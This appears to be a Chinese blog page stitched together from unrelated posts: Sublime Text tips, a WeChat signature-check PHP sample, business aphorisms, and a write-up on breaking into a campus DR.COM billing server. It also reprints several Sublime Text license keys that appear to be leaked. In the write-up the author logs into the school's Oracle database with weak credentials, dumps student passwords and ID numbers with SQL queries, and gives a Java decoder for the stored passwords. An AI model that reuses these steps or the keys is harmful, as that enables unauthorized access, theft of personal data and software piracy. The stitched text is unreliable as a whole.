sublime Text 自动排列代码设置

1、打开Sublime

2、Ctrl + Shift + p

3、输入key选中User后在内容中加入下面代码

[ {“keys”:[“shift+ctrl+f”],”command”:”reindent”,”args”:{“single_line”:false}}, ]

Sublime Text 3086 KEY

—– BEGIN LICENSE —–

Andrew Weber

Single User License

EA7E-855605

813A03DD 5E4AD9E6 6C0EEB94 BC99798F

942194A6 02396E98 E62C9979 4BB979FE

91424C9D A45400BF F6747D88 2FB88078

90F5CC94 1CDC92DC 8457107A F151657B

1D22E383 A997F016 42397640 33F41CFC

E1D0AE85 A0BBD039 0E9C8D55 E1B89D5D

5CDB7036 E56DE1C0 EFCC0840 650CD3A6

B98FC99C 8FAC73EE D2B95564 DF450523

—— END LICENSE ——

—– BEGIN LICENSE —–

K-20

Single User License

EA7E-940129

3A099EC1 C0B5C7C5 33EBF0CF BE82FE3B

EAC2164A 4F8EC954 4E87F1E5 7E4E85D6

C5605DE6 DAB003B4 D60CA4D0 77CB1533

3C47F579 FB3E8476 EB3AA9A7 68C43CD9

8C60B563 80FE367D 8CAD14B3 54FB7A9F

4123FFC4 D63312BA 141AF702 F6BBA254

B094B9C0 FAA4B04C 06CC9AFC FD412671

82E3AEE0 0F0FAAA7 8FA773C9 383A9E18

—— END LICENSE ——

—– BEGIN LICENSE —–

J2TeaM

2 User License

EA7E-940282

45CB0D8F 09100037 7D1056EB A1DDC1A2

39C102C5 DF8D0BF0 FC3B1A94 4F2892B4

0AEE61BA 65758D3B 2EED551F A3E3478C

C1C0E04E CA4E4541 1FC1A2C1 3F5FB6DB

CFDA1551 51B05B5D 2D3C8CFE FA8B4285

051750E3 22D1422A 7AE3A8A1 3B4188AC

346372DA 37AA8ABA 6EB30E41 781BC81F

B5CA66E3 A09DBD3A 3FE85BBD 69893DBD

—— END LICENSE ——

微信二次开发第一弹(开发者中心TOKEN配置与服务器连接)

本文目标:学习一种比较安全的服务器间互相验证身份的方式。  
  
问题:开发微信公众平台接口,开发者的服务器为了确保请求是否来自微信服务器,应该如何去做?  

1)  在微信管理页面上填写URL和TOKEN,开发者服务器上也记录同样的TOKEN。  

2)  微信服务器发送HTTP请求,附带上参数(注意TOKEN是不会被传输的)  

参数 描述  









































signature




微信加密签名




timestamp




时间戳




nonce




随机数




echostr




随机字符串


其中signature值通过如下摘要运算得出:
1\. 将token、timestamp、nonce三个参数进行字典序排序  

2\. 将三个参数字符串拼接成一个字符串进行sha1加密(这个加密是不可逆的),并将结果的byte[]转换为16进制字符串  

3)  开发者服务器接收到signature,timestamp,nonce,echostr参数,跟服务器做同样的摘要运算,得到预期的一个signatrue,然后对比微信服务器发送过来的signature参数,如果相同,证明双方的TOKEN是一致的,开发者服务器确实接收到了来自微信服务器的请求,开发者服务器最后返回echostr,以告诉微信服务器接入成功。具体的开发者服务器校验逻辑代码如下显示。  


`valid();

class wechatCallbackapiTest
{
    public function valid()
    {
        $echoStr = $_GET["echostr"];

        //valid signature , option
        if($this->checkSignature()){
            echo $echoStr;
            exit;
        }
    }

    public function responseMsg()
    {
        //get post data, May be due to the different environments
        $postStr = $GLOBALS["HTTP_RAW_POST_DATA"];

          //extract post data
        if (!empty($postStr)){

                  $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
                $fromUsername = $postObj->FromUserName;
                $toUsername = $postObj->ToUserName;
                $keyword = trim($postObj->Content);
                $time = time();
                $textTpl = "
                            
                            
                            %s
                            
                            
                            0
                            ";             
                if(!empty( $keyword ))
                {
                      $msgType = "text";
                    $contentStr = "Welcome to wechat world!";
                    $resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
                    echo $resultStr;
                }else{
                    echo "Input something...";
                }

        }else {
            echo "";
            exit;
        }
    }

    private function checkSignature()
    {
        $signature = $_GET["signature"];
        $timestamp = $_GET["timestamp"];
        $nonce = $_GET["nonce"];

        $token = TOKEN;
        $tmpArr = array($token, $timestamp, $nonce);
        sort($tmpArr);
        $tmpStr = implode( $tmpArr );
        $tmpStr = sha1( $tmpStr );

        if( $tmpStr == $signature ){
            return true;
        }else{
            return false;
        }
    }
}

?>  

`

`[公众平台开发接口介绍](http://mp.weixin.qq.com/wiki/home/index.html "公众平台开发接口介绍")`  

人生最高感知能力

1. 不只讲功能,还重设计。

2. 不只有论点,还说故事。

3. 不只谈专业,还须整合。

4. 不只讲逻辑,还给关怀。

5. 不只能正经,还会玩乐。

6. 不只顾赚钱,还重意义。

颠覆式的伟大想法

王东岳曾经有一个理想,他说如果有可能,希望能够有这样的一所大学:在这所大学里,没有必修课,全是选修课;没有专业,每个人根据自己的禀赋,去选想学的专业,组合起来成为个人独一无二的专业。

产品型社群

功能成为标配,情感成为强需;中间成本趋零,二次打击盈利;个人异端化,组织社群化。

我们处于一个新时代的来临,这是一个降维化生存的时代,一个方生方死的时代,一个颠覆式的时代,一个超时空获取资源的时代,一个审美的时代,一个灵性回归的时代。

人欲即天理,更现实的人生观。

顺势而为,不要做逆天的事情。

颠覆创新,用互联网精神重新思考。

广结善缘,中国是人情社会。

专注,少就是多。

我们必须首先从用户天怒发继而再回头考虑技术上的可行性。

永远不厌其烦地改,越改越有温度感,越改就越知道下一步往哪里走,这本来就是一个没有终点的过程。

比尖叫值更可怕的是动态尖叫值。你今天达到了这个尖叫度,明天达到同样的尖叫度,用户就不叫了,你要永远穿越用户的预期。

产品是演化出来的,而非规划出来的。

你只有把自己逼疯,才可能把别人逼死。

少做一点事情,把这些事情做到极致,就是最好的策略。

匠人精神:专注做点东西,至少对得起光阴、岁月。其他的就留给时间去说吧!

传统厂商是在卖产品,而互联网公司是在建社群。

只有站在比他人更高的地方,才能真正的理解他人。

如果把互联网当作工具,就永远理解不了互联网的真谛;如果把互联网当做思维,就能产生巨大的商业价值。

一辈子,总得做点对得起光阴的事情。

基于DR.COM端口弱口令的研究

由于校园网采用DR.COM城市热点服务端,加上校园网速未能像往常一样快速畅通。以至于萌发突破校园网终端的想法。研究方法通过服务器后台突破,端口突破,数据库突破,以及管理员加密算法方式的研究。

突破服务器后台,首先需要知道学院充值的网址URLhttp://172.23.0.18/Self/nav_login

这样我们就知道了他服务器的主页首地址,也就是172.23.0.18。一看是用了Apache Tomcat的服务器后台。那就通过暴力搜索后台网址就好了。会发现有用的URL没有多少,闲话不多说了。想必管理人员会对下图比较熟悉吧。

但是看到帐号和密码就比较费脑筋了,随便试了几个,都不行,看来这个不是容易随便就能登录的,看了下这个主页的代码。发现用的是javascript的脚本辅助登录。

if(parseInt(trytimes)>=3){$(“#tr_random”).show();}也就是说如果尝试登录3次以上就会出现验证码,以防Demo等软件尝试进入。这里’or’=’or’也无法尝试登录,看来城市热点还是比较firewall的。

剩下的难点就是突破登录平台方面了,查找后台URL。发现有一个是数据库的页面,仔细观察一看这个Oracle 10g的版本。也能看出数据库的端口号是1521。账户名USERdrcom,密钥是**,但是也重在尝试吧,USER= PASSWD。成功。

Dllocijdbc9

然后就可以开始尝试在本地连接远程数据库了,知道了用户名,密码,和端口号,剩下的就很简单也很容易了。

查看下当前用户下的所有表:

SELECT * FROM USER_TABLES;

会展示所有的用户表,其次在查询表中数据。

SELECT a. FROM TBLREGISTERUSERA a UNION ALL SELECT b. FROM TBLREGISTERUSERSHISTORY b;

会查询到所有的学院学生的登录信息和密码,甚至还有身份证号,这弱口令造成的问题会是相当的可怕想必大家都会知道的。

在搜索下关于ADMIN方面的表。查询到USER_DATA中有一个表很有用,查询一下它会发现令人激动的信息!这简直太爽了,就像是一个陌生人不用钥匙就打开了你们家的锁,所有他想得到的东西他都会得到。
SELECT * FROM TBLADMINISTRATORS;

剩下的就是加密算法的研究了。这部分最令人头疼。但是学校初始密码为123,相对应用户表中最多的数据来看,123密码对应的加密方式为Mk*a,在仔细观察每一加密后的加密结尾都为a,也就是说a为输入两次密码后已经确认后的加密方式,如果是b结尾也就代表已被注销的用户。下面是自己写的一个3位数加密解密的代码(纯属无聊)。

import java.util.Scanner;

public class Passwd {

staticString passwd_ascii;

staticString pwd;

publicstatic void main(String[] args) {

System.out.println(“PleaseInput The Passwd :”);

Scannersc = new Scanner(System.in);

Stringpasswd = sc.nextLine();

System.out.println(“ToChange Ascii Of The Passwd To The PasswdAscii :”);

PasswdAscii(passwd);

}

privatestatic String PasswdAscii(String passwdtext) {

//TODO Auto-generated method stub

charascii[] = new char[20];

charlastChar = passwdtext.charAt(passwdtext.length() - 1);

if(lastChar != ‘a’) {

for(int i = 0; i < passwdtext.length(); i++) {

ascii[i]= passwdtext.charAt(i);// 转换成ASCII

//(int)转换成ASCII码,但存放到String

if(i == 0) {

passwd_ascii= String.valueOf((int) ascii[i] - 28);// (int)转换成ASCII码,第0

}else if (i == 1) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29);// (int)转换成ASCII码,第1

}else if (i == 2) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29 - 30

+126 - 30);// (int)转换成ASCII码,第2

}else if (i == 3) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29 - 30

+126 - 30 - 28);// (int)转换成ASCII码,第2

}

System.out.print(passwd_ascii+ “\t”);

System.out.print(“ThePassword is :”);

PasswordString(passwd_ascii);

System.out.println();

}

System.out.println();

}else {

for(int i = 0; i < passwdtext.length() - 1; i++) {

ascii[i]= passwdtext.charAt(i);// 转换成ASCII

//(int)转换成ASCII码,但存放到String

if(i == 0) {

passwd_ascii= String.valueOf((int) ascii[i] - 28);// (int)转换成ASCII码,第0

}else if (i == 1) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29);// (int)转换成ASCII码,第1

}else if (i == 2) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29 - 30

+126 - 30);// (int)转换成ASCII码,第2

}else if (i == 3) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29 - 30

+126 - 30 - 28);// (int)转换成ASCII码,第2

}

System.out.print(passwd_ascii+ “\t”);

System.out.print(“ThePassword is :”);

PasswordString(passwd_ascii);

System.out.println();

}

System.out.println(“NULL!”);

}

returnpasswd_ascii;

}

privatestatic String PasswordString(String passwd_ascii) {

pwd= passwd_ascii;

for(int i = 0; i < 1; i++) {

//String -> int -> char -> LASTPWD

intIntPwd = Integer.parseInt(pwd);

charLASTPWD = (char) (IntPwd);

System.out.print(LASTPWD+”\t”);

}

returnpwd;

}

}

// 每个字符加密后ASCII都是在32-126之间,从第一位开始加28,第二位加28+29,第三位加28+29+30,如果超过126的部分,则返回32开始。

最后,通过这一次的尝试,我想说弱口令真的很可怕,希望我的朋友们在设置您的密码的时候最好都不要使用到弱口令,您的信息安全特别重要,请误告诉他人。

纯属测试,请勿用于非法、商务途径,后果自负。

颠覆式创新

只有当少数人把多数人的观点推翻了,科学才会进步。

换操作系统就是换思想(思维)打补丁仅仅是解决问题。

要经常思考一下某个体系的外边是什么。

有一股向上的力量推着持续性技术公司往更高的技术方向发展,势不可挡,但是最终,他们会被困于技术的牢笼,无法挣脱。

当技术追求更高、更快、更强的时候,也就带动了从技术进步到产品功能的进步。

与其更好,不如不同。产品至简,成本至简。

你满足了人性的弱点,其实就抓住了巨大的商机。

今天这个时代只要做好一件事就能改变世界,哪怕这个事很小,只要做的足够深,就可以改变世界。

在互联网时代,做过去的东西,就算做的再好也没有未来。

工商业时代是经典管理的领导者,互联网时代是新思维的开拓者。

不要总以为你的队友是友商,其实你的对手是时代。

软弱和无知不是生存的障碍,傲慢才是。

任何事物都有两面性,对于创新而言,流程和价值观起阻碍作用。

互联网世界观

时代变化的时候,你用旧的世界观来看新世界,你一定是拧巴。

能够开启新世界的往往都是新的见识,而不是旧的尝试。

没有量子力学就没有芯片,就没有计算机,就没有互联网,就没有智能手机,这是影响我们今天生活最重要的一门科学,可惜我们日常生活接触不到。

原子世界和比特世界是一回事,互联网是新的工具,还是新的世界,这就是世界观。

移动互联网宛如一个量子世界,我们成为彼此连接的量子,这个连接使我们的时代发生了巨大的变化。

今天存在着两个世界,你从哪个世界着手都可以,但让你自己固守在一个世界里面,则相当于把自己的眼睛蒙起来,怪不得别人。

能量和质量可以互相转换,所以它们是一回事,小质量可以产生大能量。换句话说,你不需要很大的质量,也能产生很大的能量。

产品是入口,用户是资产,社群是商业模式。

新创企业必须在消耗完启动资金之前,以最小的成本,在最短的时间里找到有价值的认知。

今天做事情千万不要怕小,千万不要求大,在一个小的地方验证成功了,然后在推广出去,这是精益创业的方式。

竞争是最好的学习方式。

移动互联网的时代,传统企业要任用年轻人成为唯一的选择,把年轻人变成企业的主人成为最大的挑战。